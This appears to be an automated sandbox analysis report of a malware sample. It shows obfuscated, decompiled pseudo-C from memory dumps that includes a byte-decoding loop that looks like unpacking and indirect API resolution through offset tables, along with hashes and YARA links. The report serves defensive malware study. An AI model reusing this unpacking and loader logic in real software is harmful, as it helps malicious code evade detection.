				signed int _t283;
				signed int _t284;
				signed int _t291;
				signed int _t305;
				signed int* _t314;

				_t275 = __esi;
				_t259 = __edi;
				_t222 = __ecx;
				_t217 = 0x4181a7;
				 *((intOrPtr*)(_t305 + 0x1e)) =  *((intOrPtr*)(_t305 + 0x1e)) + __edx;
				_t190 =  *0x008751C3();
				 *(_t305 - 0x20) = __edx;
				 *0x0083034E =  *0x0083034E & 0x00000000;
				 *0x0083034E =  *0x0083034E | __edx ^  *(_t305 - 0x20) | _t190;
				_t242 =  *(_t305 - 0x20);
				if( *0x00830706 != 0) {
					L6:
					if( *((intOrPtr*)(_t305 - 0x14)) != 2) {
						if( *((intOrPtr*)(_t305 - 0x14)) == 4) {
							 *(_t305 - 0x10) = 1;
							 *(_t305 - 0x18) = 0x55;
							 *(_t305 - 0xc) = 2;
						}
					} else {
						 *(_t305 - 0x10) = 3;
						 *(_t305 - 0x18) = 0x11;
						 *(_t305 - 0xc) = 4;
					}
					_push(_t242);
					 *_t314 =  *_t314 ^ _t242;
					 *(_t305 - 0x20) = _t275;
					_t192 = _t190 & 0x00000000 | _t275 & 0x00000000 ^  *(_t305 - 4);
					_t193 = _t192 /  *(_t305 - 0xc);
					_t244 = _t192 %  *(_t305 - 0xc);
					_push( *(_t305 - 4));
					 *_t314 =  *_t314 - _t244;
					_pop( *_t63);
					 *_t314 =  *(_t305 - 0x20);
					 *(_t305 - 8) = _t244;
					_t281 = 0;
					 *(_t305 - 0x24) = _t244;
					_t283 = _t281 & 0x00000000 ^ (_t244 & 0x00000000 |  *(_t305 + 8));
					_t247 =  *(_t305 - 0x24);
					_push(_t247);
					_t261 = _t259 & 0x00000000 ^ (_t247 & 0x00000000 | _t283);
					_t284 = _t283 - 1;
					 *(_t305 - 0x1c) = 0;
					_push( *(_t305 - 0x1c));
					 *_t314 =  *_t314 + _t217;
					do {
						 *(_t305 - 0x24) = _t217;
						_t224 = _t222 & 0x00000000 ^ (_t217 & 0x00000000 | _t261);
						_t217 =  *(_t305 - 0x24);
						_t222 = _t224 &  *(_t305 - 0x10);
						if(_t222 == 0) {
							_t284 = _t284 + 1;
							 *(_t305 - 0x1c) = _t261;
							_t193 = _t193 & 0x00000000 ^ (_t261 & 0x00000000 |  *(_t305 - 0xc));
							_t261 =  *(_t305 - 0x1c);
							_t217 =  *(_t193 + _t284) & 0x000000ff;
						}
						 *_t314 = _t284;
						_t284 = 0;
						asm("rol edx, cl");
						_t252 = (0 ^  *(_t305 - 0x18)) & _t217;
						asm("lodsb");
						_t193 = _t193 | _t252;
						 *_t261 = _t193;
						_t261 = _t261 + 1;
						_t78 = _t305 - 4;
						 *_t78 =  *(_t305 - 4) - 1;
					} while ( *_t78 != 0);
					_pop(_t220);
					if( *(_t220 + 0x4182ab) == 0) {
						_t314[1] =  *(_t220 + 0x4181ff);
						_t235 = _t222;
						_t314[1] =  *(_t220 + 0x41843c);
						_t252 = _t252;
						 *_t314 =  *(_t220 + 0x418293);
						_t193 =  *((intOrPtr*)(_t220 + 0x45d040))(_t193, _t305, _t252);
						 *(_t305 - 0x1c) = _t235;
						 *(_t220 + 0x4182ab) =  *(_t220 + 0x4182ab) & 0x00000000;
						 *(_t220 + 0x4182ab) =  *(_t220 + 0x4182ab) ^ _t235 & 0x00000000 ^ _t193;
						_t222 =  *(_t305 - 0x1c);
					}
					if( *(_t220 + 0x4183d4) == 0) {
						if( *(_t220 + 0x418037) == 0) {
							 *_t314 =  *(_t220 + 0x41816f);
							 *_t314 = _t284;
							 *_t314 =  *_t314 & 0x00000000;
							 *_t314 =  *_t314 | _t252;
							_t314[1] =  *(_t220 + 0x41859f);
							_t252 = _t252;
							_t314[1] =  *(_t220 + 0x41808b);
							_t284 = _t284;
							_t210 =  *((intOrPtr*)(_t220 + 0x45d048))(_t222, _t252, _t220,  *(_t305 - 0x20), _t193);
							 *(_t305 - 0x24) = _t222;
							 *(_t220 + 0x418037) = 0 ^ _t210;
							_t222 =  *(_t305 - 0x24);
						}
						_t193 =  *((intOrPtr*)(_t220 + 0x45d01c))();
						if( *((intOrPtr*)(_t220 + 0x4181f7)) == 0) {
							 *(_t305 - 0x1c) =  *(_t305 - 0x1c) & 0x00000000;
							 *_t314 =  *_t314 | _t193;
							_t314[1] =  *(_t220 + 0x418438);
							_t284 = _t284;
							 *_t314 =  *_t314 & 0x00000000;
							 *_t314 =  *_t314 ^ _t261;
							 *(_t305 - 0x20) = 0;
							 *_t314 = _t314 +  *_t314;
							_push( *((intOrPtr*)(_t220 + 0x45d040))( *(_t305 - 0x20), _t252, _t193,  *(_t305 - 0x1c)));
							_pop( *_t117);
							_push( *(_t305 - 0x20));
							_pop( *_t119);
							_pop(_t193);
						}
						 *_t314 = _t305;
						 *(_t220 + 0x4183d4) = 0 ^ _t193;
						_t305 = 0;
						if( *(_t220 + 0x418450) == 0) {
							_t252 =  *_t314;
							 *_t314 =  *(_t220 + 0x418567);
							 *_t314 =  *(_t220 + 0x4183bc);
							 *_t314 =  *(_t220 + 0x4180bb);
							_t305 =  *_t314;
							 *_t314 =  *(_t220 + 0x418513);
							_t193 =  *((intOrPtr*)(_t220 + 0x45d044))( *_t314, _t284, _t305, _t252);
							 *(_t305 - 0x20) =  *_t314;
							 *(_t220 + 0x418450) = 0 ^ _t193;
							_t284 =  *(_t305 - 0x20);
						}
					}
					_t226 = _t222 & 0x00000000 ^ _t261 & 0x00000000 ^  *(_t305 - 8);
					_t264 = _t261;
					if( *(_t220 + 0x41803b) == 0) {
						 *(_t305 - 0x20) = 0;
						 *_t314 =  *_t314 | _t226;
						_t291 =  *_t314;
						 *_t314 =  *(_t220 + 0x418057);
						_t252 =  *_t314;
						 *_t314 =  *(_t220 + 0x418028);
						_t314[1] =  *(_t220 + 0x4183e8);
						_t203 = _t193;
						 *_t314 =  *(_t220 + 0x4185ef);
						_t206 =  *((intOrPtr*)(_t220 + 0x45d044))(_t305, _t252, _t284,  *(_t305 - 0x20));
						 *(_t220 + 0x41803b) =  *(_t220 + 0x41803b) & 0x00000000;
						 *(_t220 + 0x41803b) =  *(_t220 + 0x41803b) ^ _t291 & 0x00000000 ^ _t206;
						_t284 = _t291;
						_t226 = _t203;
					}
					if( *(_t220 + 0x41849f) == 0) {
						if( *(_t220 + 0x41861f) == 0) {
							 *_t314 = _t226;
							_t201 =  *((intOrPtr*)(_t220 + 0x45d01c))( *(_t305 - 0x20));
							 *(_t305 - 0x20) = _t264;
							 *(_t220 + 0x41861f) = 0 ^ _t201;
							_t264 =  *(_t305 - 0x20);
							_pop(_t226);
						}
						 *(_t305 - 0x24) =  *(_t305 - 0x24) & 0x00000000;
						 *_t314 =  *_t314 + _t226;
						_t161 = _t220 + 0x418533; // 0x418533
						 *_t314 =  *_t314 ^ _t305;
						 *_t314 =  *_t314 ^ _t161;
						_t197 =  *((intOrPtr*)(_t220 + 0x45d018))(_t305,  *(_t305 - 0x24));
						 *(_t305 - 0x20) = _t264;
						 *(_t220 + 0x4185cf) = 0 ^ _t197;
						_t264 =  *(_t305 - 0x20);
						_push(_t252);
						_t314[1] =  *(_t220 + 0x418243);
						_t229 = _t226;
						if( *((intOrPtr*)(_t220 + 0x41862b)) == 0) {
							_t314[1] =  *(_t220 + 0x418414);
							_t314[1] =  *(_t220 + 0x4183cc);
							_t305 = _t305;
							_push( *((intOrPtr*)(_t220 + 0x45d03c))(_t314, _t197, _t229, _t264));
							_pop( *_t174);
							_push( *(_t305 - 0x20));
							_pop( *_t176);
						}
						_push(_t252);
						 *_t314 =  *(_t220 + 0x41814b);
						if( *((intOrPtr*)(_t220 + 0x41851b)) == 0) {
							 *_t181 =  *((intOrPtr*)(_t220 + 0x45d024))();
							 *_t183 =  *(_t305 - 0x1c);
						}
						_t305 =  *_t314;
						 *_t314 =  *(_t220 + 0x4182a7);
						_t198 =  *((intOrPtr*)(_t220 + 0x45d040))();
						 *(_t305 - 0x20) = _t284;
						 *(_t220 + 0x41849f) = 0 ^ _t198;
						_t284 =  *(_t305 - 0x20);
						_t226 = _t305;
					}
					return memcpy(_t264, _t284 + 1, _t226);
				}
				if( *0x0083047E == 0) {
					_push(__ecx);
					 *_t314 =  *_t314 ^ __ecx;
					 *_t314 =  *_t314 ^ __edi;
					_push(__ecx);
					_t222 =  *_t314;
					 *_t314 =  *0x008302CA;
					_push(_t190);
					_push(_t190);
					_t314[1] =  *0x00830266;
					_push( *(_t305 - 0x1c));
					 *_t314 = _t314;
					_t190 =  *0x008751EB();
					 *(_t305 - 0x1c) = __esi;
					 *0x0083047E =  *0x0083047E & 0x00000000;
					 *0x0083047E =  *0x0083047E ^ __esi & 0x00000000 ^ _t190;
					_t275 =  *(_t305 - 0x1c);
				}
				_push(_t222);
				_t314[1] =  *(_t217 + 0x41829f);
				_t214 = _t190;
				if( *(_t217 + 0x41827b) == 0) {
					_t214 =  *((intOrPtr*)(_t217 + 0x45d020))();
					 *(_t217 + 0x41827b) =  *(_t217 + 0x41827b) & 0x00000000;
					 *(_t217 + 0x41827b) =  *(_t217 + 0x41827b) ^ _t275 ^  *_t314 ^ _t214;
					_t275 = _t275;
				}
				_t314[1] =  *(_t217 + 0x4183c8);
				_t275 = _t275;
				 *(_t305 - 0x24) =  *(_t305 - 0x24) & 0x00000000;
				 *_t314 =  *_t314 + _t217;
				_t190 =  *((intOrPtr*)(_t217 + 0x45d040))( *(_t305 - 0x24), _t214);
				 *(_t305 - 0x20) = _t259;
				 *(_t217 + 0x41855f) =  *(_t217 + 0x41855f) & 0x00000000;
				 *(_t217 + 0x41855f) =  *(_t217 + 0x41855f) ^ (_t259 & 0x00000000 | _t190);
				_t259 =  *(_t305 - 0x20);
				goto L6;
			}

0x02591b95
0x02591b95
0x02591b95
0x02591b95
0x02591b9a
0x02591b9d
0x02591ba3
0x02591bab
0x02591bb2
0x02591bb8
0x02591bc2
0x02591c78
0x02591c7c
0x02591c99
0x02591c9b
0x02591ca2
0x02591ca9
0x02591ca9
0x02591c7e
0x02591c7e
0x02591c85
0x02591c8c
0x02591c8c
0x02591cb0
0x02591cb1
0x02591cb5
0x02591cc1
0x02591cc6
0x02591cc6
0x02591cc9
0x02591ccc
0x02591ccf
0x02591cd4
0x02591cdb
0x02591cde
0x02591cdf
0x02591ceb
0x02591ced
0x02591cf0
0x02591cf9
0x02591cfc
0x02591cfd
0x02591d04
0x02591d07
0x02591d0a
0x02591d0a
0x02591d15
0x02591d17
0x02591d1a
0x02591d1d
0x02591d1f
0x02591d20
0x02591d2c
0x02591d2e
0x02591d31
0x02591d31
0x02591d37
0x02591d41
0x02591d42
0x02591d44
0x02591d46
0x02591d47
0x02591d49
0x02591d4b
0x02591d4c
0x02591d4c
0x02591d4c
0x02591d51
0x02591d59
0x02591d63
0x02591d67
0x02591d70
0x02591d74
0x02591d7c
0x02591d7f
0x02591d85
0x02591d8d
0x02591d94
0x02591d9a
0x02591d9a
0x02591da4
0x02591db1
0x02591dba
0x02591dc0
0x02591dc4
0x02591dc8
0x02591dd3
0x02591dd7
0x02591de0
0x02591de4
0x02591de5
0x02591deb
0x02591df2
0x02591df8
0x02591df8
0x02591dfb
0x02591e08
0x02591e0a
0x02591e11
0x02591e1c
0x02591e20
0x02591e22
0x02591e26
0x02591e29
0x02591e33
0x02591e3c
0x02591e3d
0x02591e40
0x02591e43
0x02591e49
0x02591e49
0x02591e4c
0x02591e53
0x02591e59
0x02591e61
0x02591e6a
0x02591e6a
0x02591e74
0x02591e7e
0x02591e88
0x02591e88
0x02591e8b
0x02591e91
0x02591e98
0x02591e9e
0x02591e9e
0x02591e61
0x02591eab
0x02591ead
0x02591eb5
0x02591eb7
0x02591ec1
0x02591ecb
0x02591ecb
0x02591ed5
0x02591ed5
0x02591ee0
0x02591ee4
0x02591eec
0x02591eef
0x02591efb
0x02591f02
0x02591f08
0x02591f09
0x02591f09
0x02591f11
0x02591f1e
0x02591f23
0x02591f26
0x02591f2c
0x02591f33
0x02591f39
0x02591f3c
0x02591f3c
0x02591f3d
0x02591f44
0x02591f47
0x02591f4e
0x02591f51
0x02591f54
0x02591f5a
0x02591f61
0x02591f67
0x02591f6a
0x02591f72
0x02591f76
0x02591f7e
0x02591f88
0x02591f95
0x02591f99
0x02591fa1
0x02591fa2
0x02591fa5
0x02591fa8
0x02591fa8
0x02591fae
0x02591fb5
0x02591fbf
0x02591fc8
0x02591fce
0x02591fce
0x02591fdb
0x02591fdb
0x02591fde
0x02591fe4
0x02591feb
0x02591ff1
0x02591ff4
0x02591ff4
0x02591ffa
0x02591ffa
0x02591bcf
0x02591bd1
0x02591bd2
0x02591bd5
0x02591bd8
0x02591bdf
0x02591bdf
0x02591be2
0x02591be3
0x02591bea
0x02591bef
0x02591bf2
0x02591bf5
0x02591bfb
0x02591c03
0x02591c0a
0x02591c10
0x02591c10
0x02591c13
0x02591c1b
0x02591c1f
0x02591c27
0x02591c29
0x02591c35
0x02591c3c
0x02591c42
0x02591c42
0x02591c4b
0x02591c4f
0x02591c50
0x02591c57
0x02591c5a
0x02591c60
0x02591c68
0x02591c6f
0x02591c75
0x00000000

Memory Dump Source

Source File: 00000000.00000002.493231718.0000000002590000.00000040.00000001.sdmp, Offset: 02590000, based on PE: true

Associated: 00000000.00000002.493383695.00000000025A8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.493417448.00000000025ED000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 703cbaf3eba3860ab8286c58bd16c8eee8a180dd56076fcb0dfae4dcd8cc0aed
Instruction ID: 4a18674db1d6495c877f403f0e66eaa6a71f64f02029fb16b3d7b2c1b7b776bc
Opcode Fuzzy Hash: 703cbaf3eba3860ab8286c58bd16c8eee8a180dd56076fcb0dfae4dcd8cc0aed
Instruction Fuzzy Hash: 7BE14D72804628DFEF048F54C9857EEBBB5FF88715F09849EDC48AB146CB781951CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 0259237B, Relevance: .3, Instructions: 291
COMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E0259237B(void* __ecx, signed int __edx, void* __edi, signed int __esi) {
				signed int _t171;
				signed int _t175;
				signed int _t177;
				signed int _t178;
				signed int _t179;
				signed int _t182;
				void* _t184;
				signed int _t186;
				signed int _t187;
				signed int _t190;
				void* _t196;
				signed int _t197;
				signed int _t205;
				signed int _t211;
				signed int _t218;
				signed int _t220;
				signed int _t222;
				signed int _t227;
				void* _t237;
				signed int _t239;
				signed int _t243;
				signed int _t244;
				signed int _t258;
				signed int _t259;
				void* _t262;
				signed int _t263;
				signed int _t265;
				void* _t266;
				void* _t276;
				signed int _t278;
				signed int _t283;
				signed int* _t288;

				_t258 = __esi;
				_t190 = 0x4181d3;
				 *((intOrPtr*)(_t283 + 0x1e)) =  *((intOrPtr*)(_t283 + 0x1e)) + __edx;
				_t171 =  *0x008751F7();
				 *(_t283 - 0x10) = __edx;
				 *0x008303A6 =  *0x008303A6 & 0x00000000;
				 *0x008303A6 =  *0x008303A6 | __edx & 0x00000000 | _t171;
				_t218 =  *(_t283 - 0x10);
				_t243 =  *(__edi + 0x80);
				if( *0x008304FF == 0) {
					_t171 =  *0x008751F3();
					 *(_t283 - 0x10) = _t243;
					 *0x008304FF = _t171;
					_t243 =  *(_t283 - 0x10);
				}
				_t244 = _t243 +  *(_t283 + 8);
				if( *(_t190 + 0x41859b) == 0) {
					_t171 =  *((intOrPtr*)(_t190 + 0x45d024))();
					 *(_t283 - 0x10) = _t258;
					 *(_t190 + 0x41859b) =  *(_t190 + 0x41859b) & 0x00000000;
					 *(_t190 + 0x41859b) =  *(_t190 + 0x41859b) ^ _t258 & 0x00000000 ^ _t171;
					_t263 =  *(_t283 - 0x10);
				}
				do {
					if( *_t244 != 0) {
						 *_t288 = _t171;
						_t259 = 0 ^  *_t244;
						_t171 = 0;
						if( *(_t190 + 0x41816b) == 0) {
							_t288[1] =  *(_t190 + 0x418487);
							_t218 =  *_t288;
							 *_t288 =  *(_t190 + 0x418338);
							_t205 =  *_t288;
							 *_t288 =  *(_t190 + 0x4183ec);
							_t171 =  *((intOrPtr*)(_t190 + 0x45d03c))(_t197, _t218, _t171, _t259);
							 *(_t283 - 0x10) = _t205;
							 *(_t190 + 0x41816b) =  *(_t190 + 0x41816b) & 0x00000000;
							 *(_t190 + 0x41816b) =  *(_t190 + 0x41816b) | _t205 ^  *(_t283 - 0x10) ^ _t171;
							_t197 =  *(_t283 - 0x10);
						}
					} else {
						if( *(_t190 + 0x418420) == 0) {
							_t171 =  *((intOrPtr*)(_t190 + 0x45d024))();
							 *(_t283 - 0x10) = _t197;
							 *(_t190 + 0x418420) = 0 ^ _t171;
							_t197 =  *(_t283 - 0x10);
						}
						 *(_t283 - 0x10) = _t190;
						_t259 = _t263 & 0x00000000 ^ _t190 -  *(_t283 - 0x10) ^  *(_t244 + 0x10);
						_t190 =  *(_t283 - 0x10);
						if( *(_t190 + 0x41812f) == 0) {
							_t288[1] =  *(_t190 + 0x418033);
							_t184 = _t171;
							 *_t288 =  *_t288 & 0x00000000;
							 *_t288 =  *_t288 + _t184;
							_t288[1] =  *(_t190 + 0x41813b);
							_t237 = _t218;
							_t239 =  *_t288;
							 *_t288 =  *(_t190 + 0x4182eb);
							_t171 =  *((intOrPtr*)(_t190 + 0x45d044))(_t237, _t259, _t190, _t171);
							 *(_t190 + 0x41812f) =  *(_t190 + 0x41812f) & 0x00000000;
							 *(_t190 + 0x41812f) =  *(_t190 + 0x41812f) ^ _t239 ^  *_t288 ^ _t171;
							_t218 = _t239;
						}
					}
					_push(_t171);
					_t175 =  *_t288;
					 *_t288 =  *(_t244 + 0x10);
					if( *(_t190 + 0x4185cb) == 0) {
						_t175 =  *((intOrPtr*)(_t190 + 0x45d024))();
						 *_t288 = _t244;
						 *(_t190 + 0x4185cb) = 0 ^ _t175;
						_t244 = 0;
					}
					_pop( *_t66);
					if( *(_t190 + 0x418273) == 0) {
						_t175 =  *((intOrPtr*)(_t190 + 0x45d020))();
						 *_t288 = _t197;
						 *(_t190 + 0x418273) = _t175;
						_t197 = 0;
					}
					_t177 = _t175 & 0x00000000 | _t259 & 0x00000000 ^  *(_t283 + 8);
					_t262 = _t259;
					if( *(_t190 + 0x418203) == 0) {
						 *_t288 =  *_t288 & 0x00000000;
						 *_t288 =  *_t288 | _t177;
						_t187 =  *((intOrPtr*)(_t190 + 0x45d020))();
						 *(_t283 - 0x10) = _t244;
						 *(_t190 + 0x418203) = 0 ^ _t187;
						_t244 =  *(_t283 - 0x10);
						_t177 = _t244;
					}
					 *(_t283 - 0xc) =  *(_t283 - 0xc) + _t177;
					if( *(_t190 + 0x4184ef) == 0) {
						 *_t288 =  *(_t190 + 0x418127);
						_t244 =  *_t288;
						 *_t288 =  *(_t190 + 0x4182f7);
						_t288[1] =  *(_t190 + 0x4185f7);
						_t276 = _t262;
						_t278 =  *_t288;
						 *_t288 =  *(_t190 + 0x41827f);
						_t177 =  *((intOrPtr*)(_t190 + 0x45d048))(_t288, _t276, _t262, _t244, _t197);
						 *(_t190 + 0x4184ef) =  *(_t190 + 0x4184ef) & 0x00000000;
						 *(_t190 + 0x4184ef) =  *(_t190 + 0x4184ef) | _t278 ^  *_t288 | _t177;
						_t262 = _t278;
					}
					 *_t93 =  *((intOrPtr*)(_t244 + 0xc));
					_t196 =  *(_t283 - 0x10);
					if( *(_t190 + 0x418334) == 0) {
						 *_t288 =  *_t288 ^ _t190;
						 *_t288 =  *_t288 + _t196;
						_t211 =  *_t288;
						 *_t288 =  *(_t190 + 0x41838d);
						_t288[1] =  *(_t190 + 0x4185af);
						_t244 = _t244;
						_t283 =  *_t288;
						 *_t288 =  *(_t190 + 0x418410);
						_t177 =  *((intOrPtr*)(_t190 + 0x45d03c))(_t177, _t196, _t190);
						 *(_t283 - 0x10) = _t211;
						 *(_t190 + 0x418334) =  *(_t190 + 0x418334) & 0x00000000;
						 *(_t190 + 0x418334) =  *(_t190 + 0x418334) ^ (_t211 & 0x00000000 | _t177);
						_t196 = _t283;
					}
					_t197 = _t196 +  *(_t283 + 8);
					if( *(_t190 + 0x418474) == 0) {
						 *_t288 =  *_t288 & 0x00000000;
						 *_t288 =  *_t288 + _t197;
						_t177 =  *((intOrPtr*)(_t190 + 0x45d020))();
						 *(_t190 + 0x418474) =  *(_t190 + 0x418474) & 0x00000000;
						 *(_t190 + 0x418474) =  *(_t190 + 0x418474) | _t218 -  *_t288 ^ _t177;
						_t218 = _t218;
						_t197 = _t218;
					}
					_t263 = _t262 +  *(_t283 + 8);
					if( *(_t190 + 0x418020) == 0) {
						 *_t288 =  *_t288 - _t177;
						 *_t288 = _t197;
						 *_t288 =  *(_t190 + 0x418493);
						_t218 =  *_t288;
						 *_t288 =  *(_t190 + 0x418507);
						 *(_t283 - 0x10) =  *(_t283 - 0x10) & 0x00000000;
						 *_t288 =  *_t288 + _t190;
						 *_t288 =  *_t288 & 0x00000000;
						 *_t288 =  *_t288 ^ _t190;
						_t186 =  *((intOrPtr*)(_t190 + 0x45d044))( *(_t283 - 0x10),  *_t288, _t218, _t177);
						 *(_t283 - 0x10) = _t244;
						 *(_t190 + 0x418020) =  *(_t190 + 0x418020) & 0x00000000;
						 *(_t190 + 0x418020) =  *(_t190 + 0x418020) | _t244 ^  *(_t283 - 0x10) | _t186;
						_t244 =  *(_t283 - 0x10);
						_t197 = _t218;
					}
					 *_t288 = _t197;
					_t178 =  *((intOrPtr*)(_t190 + 0x45d00c))( *(_t283 - 0x10));
					 *(_t283 - 8) =  *(_t283 - 8) & 0x00000000;
					 *(_t283 - 8) =  *(_t283 - 8) ^ (_t190 -  *_t288 | _t178);
					_t190 = _t190;
					do {
						if(( *_t263 & 0x80000000) != 0) {
							_t288[1] =  *_t263;
							_t220 = _t218;
							 *_t152 = _t244;
							 *(_t283 - 4) =  *(_t283 - 4) & 0x0000ffff;
						} else {
							 *(_t283 - 0x10) = 0;
							_push( *(_t283 - 0x10));
							 *_t288 =  *_t288 + _t263;
							_t227 = _t218;
							 *(_t283 - 0x10) = _t227;
							 *(_t283 - 4) =  *(_t283 - 4) & 0x00000000;
							 *(_t283 - 4) =  *(_t283 - 4) ^ _t227 ^  *(_t283 - 0x10) ^  *_t263 +  *(_t283 + 8) + 0x00000002;
							_t220 =  *(_t283 - 0x10);
							_pop(_t263);
						}
						 *_t156 =  *(_t283 - 4);
						_t179 =  *(_t283 - 0x10);
						_t288[1] =  *(_t283 - 4);
						_t222 = _t220;
						 *(_t283 - 0x10) = _t222;
						_t218 =  *(_t283 - 0x10);
						 *_t288 =  *_t288 ^ _t283;
						 *_t288 =  *_t288 + (_t179 & 0x00000000 | _t222 & 0x00000000 |  *(_t283 - 8));
						_t182 =  *((intOrPtr*)(_t190 + 0x45d008))(_t283, _t244);
						_push( *(_t283 - 0x10));
						 *_t288 = _t263;
						_t265 = _t263 & 0x00000000 ^ (_t244 & 0x00000000 |  *(_t283 - 0xc));
						_t244 = _t244;
						 *(_t283 - 0x10) = _t197;
						 *_t265 =  *_t265 & 0x00000000;
						 *_t265 =  *_t265 | _t197 & 0x00000000 ^ _t182;
						_t197 =  *(_t283 - 0x10);
						_pop(_t266);
						 *_t288 = 4;
						_t171 = _t244;
						_t263 = _t266 + _t171;
						 *(_t283 - 0xc) =  *(_t283 - 0xc) + _t171;
					} while ( *_t263 != 0);
					_t244 = _t244 + 0x14;
					_t283 = _t283;
				} while ( *_t244 != 0 ||  *(_t244 + 0x10) != 0);
				_push(_t263);
				return _t171 ^ _t171;
			}

0x0259237b
0x0259237b
0x02592380
0x02592383
0x02592389
0x02592391
0x02592398
0x0259239e
0x025923a1
0x025923ae
0x025923b0
0x025923b6
0x025923bd
0x025923c3
0x025923c3
0x025923c6
0x025923d0
0x025923d2
0x025923d8
0x025923e0
0x025923e7
0x025923ed
0x025923ed
0x025923f0
0x025923f3
0x02592498
0x0259249f
0x025924a1
0x025924a9
0x025924b3
0x025924bf
0x025924bf
0x025924c9
0x025924c9
0x025924cc
0x025924d2
0x025924da
0x025924e1
0x025924e7
0x025924e7
0x025923f9
0x02592400
0x02592402
0x02592408
0x0259240f
0x02592415
0x02592415
0x02592418
0x02592424
0x02592426
0x02592430
0x0259243a
0x0259243e
0x02592440
0x02592444
0x0259244f
0x02592453
0x0259245b
0x0259245b
0x0259245e
0x0259246a
0x02592471
0x02592477
0x02592477
0x02592478
0x025924ea
0x025924ee
0x025924ee
0x025924f8
0x025924fa
0x02592502
0x02592509
0x0259250f
0x0259250f
0x02592510
0x0259251a
0x0259251c
0x02592524
0x0259252b
0x02592531
0x02592531
0x0259253c
0x0259253e
0x02592546
0x02592549
0x0259254d
0x02592550
0x02592556
0x0259255d
0x02592563
0x02592566
0x02592566
0x02592567
0x02592571
0x0259257a
0x02592584
0x02592584
0x0259258f
0x02592593
0x0259259b
0x0259259b
0x0259259f
0x025925ab
0x025925b2
0x025925b8
0x025925b8
0x025925bc
0x025925c2
0x025925ca
0x025925cd
0x025925d0
0x025925da
0x025925da
0x025925e5
0x025925e9
0x025925f1
0x025925f1
0x025925f4
0x025925fa
0x02592602
0x02592609
0x02592612
0x02592612
0x02592613
0x0259261d
0x02592620
0x02592624
0x02592627
0x02592633
0x0259263a
0x02592640
0x02592641
0x02592641
0x02592642
0x0259264c
0x0259264f
0x02592652
0x0259265c
0x02592666
0x02592666
0x02592669
0x02592670
0x02592674
0x02592678
0x0259267b
0x02592681
0x02592689
0x02592690
0x02592696
0x02592699
0x02592699
0x0259269d
0x025926a0
0x025926ac
0x025926b0
0x025926b3
0x025926b4
0x025926ba
0x025926f3
0x025926f7
0x025926f8
0x025926fb
0x025926bc
0x025926bc
0x025926c3
0x025926c6
0x025926d9
0x025926da
0x025926e2
0x025926e6
0x025926e9
0x025926ec
0x025926ec
0x02592705
0x0259270b
0x02592711
0x02592715
0x02592716
0x02592724
0x02592728
0x0259272b
0x0259272e
0x02592734
0x02592737
0x02592744
0x02592746
0x02592747
0x0259274f
0x02592752
0x02592754
0x02592757
0x02592759
0x02592760
0x02592761
0x02592763
0x02592766
0x02592778
0x0259277a
0x0259277b
0x0259278e
0x02592799

Memory Dump Source

Source File: 00000000.00000002.493231718.0000000002590000.00000040.00000001.sdmp, Offset: 02590000, based on PE: true

Associated: 00000000.00000002.493383695.00000000025A8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.493417448.00000000025ED000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3b31f65464b9c3f6b06c75afa3e7fbc5f6fe680add954093747edb4d6d8118e
Instruction ID: d3ba1ea9529363f39c9a1ef90081c9ed7a72844c4cbafa8df84e9032fdab317c
Opcode Fuzzy Hash: d3b31f65464b9c3f6b06c75afa3e7fbc5f6fe680add954093747edb4d6d8118e
Instruction Fuzzy Hash: DEC15832804215EFEF14CF65C9897AEBBF5FF88725F09846DDC889A145DB781850CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 02591000, Relevance: .3, Instructions: 279
COMMONCrypto

Download Yara Rule

C-Code - Quality: 30%

			E02591000(void* __eax, signed int __ebx, signed int __edx, signed int __edi, signed int __esi, signed int _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v20;
				signed int _v32;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				void* __ecx;
				signed int _t146;
				signed int _t148;
				intOrPtr _t149;
				signed int _t151;
				signed int _t155;
				signed int _t159;
				intOrPtr _t160;
				signed int _t161;
				signed int _t163;
				signed int _t166;
				signed int _t167;
				signed int _t170;
				signed int _t173;
				signed int _t176;
				signed int _t178;
				void* _t179;
				signed int _t182;
				signed int _t186;
				signed int _t196;
				void* _t198;
				signed int _t202;
				signed int _t205;
				signed int _t208;
				signed int _t211;
				signed int _t214;
				signed int _t216;
				signed int _t218;
				signed int _t220;
				signed int _t237;
				signed int _t239;
				signed int _t242;
				signed int* _t251;

				_t230 = __esi;
				_t214 = __edi;
				_t205 = __edx;
				_t167 = __ebx;
				if( *(__ebx + 0x4184df) == 0) {
					_push(__esi);
					_t237 =  *_t251;
					 *_t251 =  *(__ebx + 0x41811f);
					_push(_t239);
					_v20 =  *((intOrPtr*)(__ebx + 0x41860f));
					_t202 = _t176;
					_push(_t237);
					 *_t251 =  *_t251 ^ _t237;
					 *_t251 = _t202;
					_push(_t237);
					_t230 =  *_t251;
					 *_t251 =  *(__ebx + 0x41822f);
					_push(_t230);
					_v32 =  *((intOrPtr*)(__ebx + 0x418523));
					_t166 =  *((intOrPtr*)(__ebx + 0x45d048))();
					_v12 = _t202;
					 *(__ebx + 0x4184df) = 0 ^ _t166;
					_t176 = _v12;
				}
				_v12 = _v12 & 0x00000000;
				_push(_v12);
				 *_t251 =  *_t251 | _t214;
				if( *(_t167 + 0x4183b0) == 0) {
					_v20 =  *((intOrPtr*)(_t167 + 0x418097));
					_t196 =  *_t251;
					 *_t251 =  *(_t167 + 0x418103);
					_t230 =  *_t251;
					 *_t251 =  *(_t167 + 0x418297);
					_v32 =  *((intOrPtr*)(_t167 + 0x41854a));
					_t198 = _t196;
					_t163 =  *((intOrPtr*)(_t167 + 0x45d044))(_t196, _t230, _v20, _t176);
					 *(_t167 + 0x4183b0) =  *(_t167 + 0x4183b0) & 0x00000000;
					 *(_t167 + 0x4183b0) =  *(_t167 + 0x4183b0) | _t198 -  *_t251 | _t163;
					_t176 = _t198;
				}
				_v12 = _t167;
				_t178 = _t176 & 0x00000000 ^ _t167 - _v12 ^ _a4;
				_t170 = _v12;
				if( *((intOrPtr*)(_t170 + 0x418454)) == 0) {
					_v12 = 0;
					_v20 = _v20 ^ _t178;
					_push( *((intOrPtr*)(_t170 + 0x45d020))(_v12));
					_pop( *_t39);
					_push(_v12);
